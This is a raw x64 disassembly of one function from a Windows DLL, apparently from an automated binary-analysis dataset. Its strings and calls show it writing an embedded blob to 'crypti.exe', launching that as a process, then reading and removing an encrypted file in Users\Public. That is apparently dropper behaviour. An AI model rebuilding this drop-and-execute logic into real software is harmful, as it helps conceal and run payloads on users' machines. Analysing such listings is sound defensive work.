Function at 0x1800610d0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x4f0
mov rax, qword [0x18021b280]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov rdi, rcx
mov qword [rsp + 0x98], rcx
xor ebx, ebx
lea rax, str.crypti.exe
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_21
lea rax, [0x180222750]
cmp qword [0x180222768], 7
cmova rax, qword [0x180222750]
mov qword [rsp + 0x40], rax
mov rax, qword [0x180222760]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x80], xmm0
movabs r15, 0xc000000000000000
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x130], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x160]
call fcn.18000a600
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x2d0]
call fcn.1800ba330
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x2d0]
call fcn.180028b70
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], r12
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
cmp qword [rsp + 0x358], rbx
jne 0x180061386
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, Ordinal_26
lea rdx, str.____File_can_not_writed
lea rcx, [rsp + 0x50]
call fcn.180005270
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.180062730
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x18006129b
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061296
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062529
call fcn.18008ab40
movdqa xmm0, xmmword [0x180200800]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d0], r12
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
lea rcx, [rsp + 0x2d8]
call fcn.180028220
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x378]
call fcn.180088690
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x18006137e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061379
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006252f
call fcn.18008ab40
mov rax, rdi
jmp 0x1800624fc
mov r8d, 0x9d000
lea rdx, [0x18015dbb0]
lea rcx, [rsp + 0x2d0]
call fcn.1800283c0
lea rcx, [rsp + 0x2d8]
call fcn.180028a70
mov esi, 6
test rax, rax
jne 0x1800613f8
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov eax, esi
mov r14d, 2
cmp qword [rsp + rcx + 0x318], 0
cmovne eax, r14d
or eax, dword [rsp + rcx + 0x2e0]
and eax, 0x17
mov dword [rsp + rcx + 0x2e0], eax
mov edx, dword [rsp + rcx + 0x2e4]
and edx, eax
jne 0x180062535
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d0], r12
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
lea rcx, [rsp + 0x2d8]
call fcn.180028220
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x378]
call fcn.180088690
nop
lea rax, str.start______
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_21
lea rax, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rax, qword [rsp + 0x160]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x130], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.18000a600
nop
mov edx, 0x2710
lea rcx, [rsp + 0x50]
call fcn.18004c680
mov byte [rsp + 0x70], al
mov byte [rsp + 0x71], al
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180061581
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006156b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062592
call fcn.18008ab40
lea rcx, [rsp + 0x30]
call fcn.18004a230
mov rax, qword [rsp + 0x30]
jmp 0x180061595
lea rcx, [rsp + 0x30]
call fcn.18004a230
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movabs r14, 0x7fffffffc46535ff
mov r12d, 0xff
cmp rax, r14
je 0x1800615ce
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jns 0x1800615ce
add rax, 0x3b9aca00
mov qword [rsp + 0x30], rax
movabs r15, 0x7fffffffffffffff
jmp 0x1800615dd
movabs r15, 0x7fffffffffffffff
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0x30]
call fcn.18004bfa0
nop
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x50]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.180024ae0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x40], ecx
lea rax, [0x18021c290]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x130], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1800616b5
cmp eax, 1
setne r13b
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1800616c7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800616c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062598
jmp 0x1800616c2
xor r13b, r13b
test ecx, ecx
jne 0x18006259e
jmp 0x180061676
call fcn.18008ab40
test r13b, r13b
je 0x180061777
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x50]
call fcn.180008f40
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.180089804
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1800625b8
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180061777
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061771
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800625ce
call fcn.18008ab40
nop
movzx r13d, byte [rsp + 0x70]
jmp 0x1800617ae
lea rcx, [rsp + 0x30]
call fcn.18004a230
mov rax, qword [rsp + 0x30]
cmp rax, r14
je 0x1800617dc
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jns 0x1800617dc
add rax, 0x3b9aca00
mov qword [rsp + 0x30], rax
jmp 0x1800617e1
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0x30]
call fcn.18004bfa0
test r13b, r13b
jne 0x18006191d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Process_can_not_created:_
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], Ordinal_37
mov dword [rsp + 0x48], eax
movabs rax, 0x2000000000000000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x130], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x50]
call fcn.1800192d0
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.180062730
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1800618ba
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800618b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800625d4
call fcn.18008ab40
movdqa xmm0, xmmword [0x180200800]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180061915
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061910
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800625da
call fcn.18008ab40
mov rax, rdi
jmp 0x1800624fc
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x2d0]
call fcn.1800ba330
mov edx, 0x104
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
xorps xmm1, xmm1
mov r8d, 3
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
cmp eax, r8d
jb 0x180061975
lea rdx, [rsp + 0x2d0]
call fcn.180008f40
jmp 0x180061982
lea rdx, [0x1801fee98]
call fcn.180008f40
nop
lea rax, str.UsersPublic_tmp.enc
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], reloc.LIBPQ.dll_Ordinal_22
lea rax, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rax, qword [rsp + 0x50]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x138], rax
movups xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x80], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x130], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x138], rax
movaps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x130], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x140]
call fcn.18000a600
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180061a6e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061a69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800625e0
call fcn.18008ab40
movdqa xmm0, xmmword [0x1802007f0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], bx
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], rbx
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x78]
call fcn.180008f40
nop
mov r8d, 3
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.180024ae0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x130], ecx
lea rax, [0x18021c290]
mov qword [rsp + 0x138], rax
movaps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x130], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x180061b60
cmp eax, 1
sete r14b
mov rdx, qword [rsp + 0x90]
cmp rdx, 7
jbe 0x180061b72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061b6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800625e6
jmp 0x180061b6d
mov r14b, 1
test ecx, ecx
jne 0x1800625ec
jmp 0x180061b1e
call fcn.18008ab40
test r14b, r14b
je 0x180061cbf
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x88], xmm1
mov r8d, Ordinal_33
lea rdx, str.____Encrypted_file_not_exist
lea rcx, [rsp + 0x78]
call fcn.180005270
nop
lea r8, [rsp + 0x78]
mov rdx, rdi
call fcn.180062730
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x180061bf5
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061bf0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062606
call fcn.18008ab40
movdqa xmm0, xmmword [0x180200800]
movdqu xmmword [rsp + 0x88], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180061c53
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061c4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006260c
call fcn.18008ab40
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180061cb7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061cb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062612
call fcn.18008ab40
mov rax, rdi
jmp 0x1800624fc
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1c0]
call fcn.1800ba330
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0x1c0]
call fcn.180048c70
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
cmp qword [rsp + 0x250], 0
jne 0x180061f01
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, Ordinal_34
lea rdx, str.____Encrypted_file_can_not_open
lea rcx, [rsp + 0x50]
call fcn.180005270
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.180062730
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180061db2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061dad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062618
call fcn.18008ab40
movdqa xmm0, xmmword [0x180200800]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.180028220
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.180088690
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180061e95
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061e90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006261e
call fcn.18008ab40
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180061ef9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180061ef4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062624
call fcn.18008ab40
mov rax, rdi
jmp 0x1800624fc
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x1c0]
call fcn.180047cd0
mov r14, qword [rax + 8]
add r14, qword [rax]
test r14, r14
jg 0x18006217c
lea rcx, [rsp + 0x1d0]
call fcn.180028a70
test rax, rax
jne 0x180061f72
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
cmp qword [rsp + rcx + 0x208], 0
mov eax, 2
cmovne esi, eax
or esi, dword [rsp + rcx + 0x1d0]
and esi, 0x17
mov dword [rsp + rcx + 0x1d0], esi
mov eax, dword [rsp + rcx + 0x1d4]
and eax, esi
jne 0x18006262a
lea rax, str.____Encrypted_file_size_is_
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_37
mov qword [rsp + 0x138], r14
movabs rax, 0x3000000000000000
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x130]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1800192d0
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.180062730
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x18006202d
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180062028
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062684
call fcn.18008ab40
movdqa xmm0, xmmword [0x180200800]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.180028220
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.180088690
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180062110
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006210b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006268a
call fcn.18008ab40
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180062174
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006216f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062690
call fcn.18008ab40
mov rax, rdi
jmp 0x1800624fc
lea rcx, [rsp + 0x1c0]
call fcn.180047db0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x180], xmm1
mov qword [rsp + 0x190], rbx
mov rdx, r14
lea rcx, [rsp + 0x180]
call fcn.180049f70
mov r8, r14
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x1c0]
call fcn.180047fa0
lea rcx, [rsp + 0x1d0]
call fcn.180028a70
test rax, rax
jne 0x180062214
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
cmp qword [rsp + rcx + 0x208], 0
mov eax, 2
cmovne esi, eax
or esi, dword [rsp + rcx + 0x1d0]
and esi, 0x17
mov dword [rsp + rcx + 0x1d0], esi
mov eax, dword [rsp + rcx + 0x1d4]
and eax, esi
jne 0x180062696
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x50]
call fcn.180008f40
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.180089804
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1800626f1
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1800622ba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800622b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062707
call fcn.18008ab40
mov r8, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x198]
call fcn.1800493d0
nop
lea rdx, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0xf
cmova rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a8]
add r8, rdx
mov rcx, rdi
call fcn.1800665c0
nop
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0xf
jbe 0x180062349
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180062344
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006270d
call fcn.18008ab40
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], reloc.LIBPQ.dll_Ordinal_15
mov byte [rsp + 0x198], 0
mov rcx, qword [rsp + 0x180]
test rcx, rcx
je 0x1800623bb
mov rdx, qword [rsp + 0x190]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800623a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062713
call fcn.18008ab40
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], rbx
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.180028220
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.180088690
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x18006248b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180062486
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180062719
call fcn.18008ab40
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x1800624ef
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800624ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006271f
call fcn.18008ab40
mov rax, rdi
jmp 0x1800624fc
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.18008ab20
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.180099e04
nop
call fcn.180099e04
nop
test dl, 4
je 0x180062543
lea rbx, [0x1800f4668]
jmp 0x180062558
test r14b, dl
lea rbx, [0x1800f4680]
lea rax, [0x1800f4698]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x130]
call fcn.180002e00
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.1800037d0
lea rdx, [0x180218848]
lea rcx, [rsp + 0xb0]
call fcn.18008d200
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x130]
lea rcx, str.exists
call fcn.180024050
nop
shr rdx, 0x20
lea r8, [rsp + 0x50]
lea rcx, str.remove
call fcn.18002bfa0
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
int3
call fcn.180099e04
nop
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x130]
lea rcx, str.exists
call fcn.180024050
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
